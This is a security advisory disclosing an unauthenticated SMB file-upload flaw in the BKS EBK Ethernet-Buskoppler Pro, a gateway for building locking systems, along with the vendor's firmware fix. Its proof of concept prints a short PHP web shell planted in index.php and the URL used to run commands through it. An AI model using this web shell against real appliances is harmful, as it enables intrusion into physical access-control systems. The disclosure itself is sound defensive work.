Hash: SHA512
Advisory ID: SYSS-2019-017
Product: BKS EBK Ethernet-Buskoppler Pro
Manufacturer: BKS GmbH
Affected Version(s): < 3.01
Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE-434)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: April 23, 2019
Solution Date: June 14, 2019
Public Disclosure: July 03, 2019
CVE Reference: CVE-2019-12971
Author of Advisory: Sebastian Auwaerter, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
The "EBK Ethernet-Buskoppler Pro" appliance provided by BKS GmbH is a
gateway to communicate with the access terminals of BKS locking systems.
The appliance is generally attached to a company's IP-based network and
communicates with the locking systems via a proprietary bus system.
Due to an unauthenticated upload functionality through Samba, the BKS
Ethernet-Buskoppler Pro is vulnerable to remote code execution.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
An unauthenticated attacker can connect to an Ethernet-Buskoppler Pro
using any client that supports uploading files via SMB (e.g. smbclient,
Nautilus, Windows Explorer) and overwrite files located in the web root
directory of the appliance. After adding a web shell to any of the
existing PHP scripts, the attacker can execute it by accessing the
edited script via the web server listening on the TCP port 443.
According to BKS, only Appliances based on a Raspberry Pi 3 are affected
since the vulnerability has been introduced during an upgrade from
Raspberry Pi 2 to 3.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
As proof-of-concept, the file index.php can be altered via SMB
(e.g. gedit smb://<VULNERABLE_HOST>/webinterface/index.php) to allow a
web shell in the context of the user account www-data:
- ----------------
index.php:
<?php
if ($_REQUEST['pw'] === "very-secure-password"){
system($_REQUEST['cmd']);
}
set_include_path('/var/www/ebkpro_website');
include 'include/debug.php';
[...]
- ----------------
The web shell can then be used to execute commands by navigating to the
following URL:
http://<VULNERABLE_HOST>:80/index.php?pw=very-secure-password&cmd=<COMMAND>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
BKS provides update packages for the EBK Ethernet-Buskoppler. The updater
in version 1.2.1.2 contains firmware version 3.01 which fixes the
vulnerability.
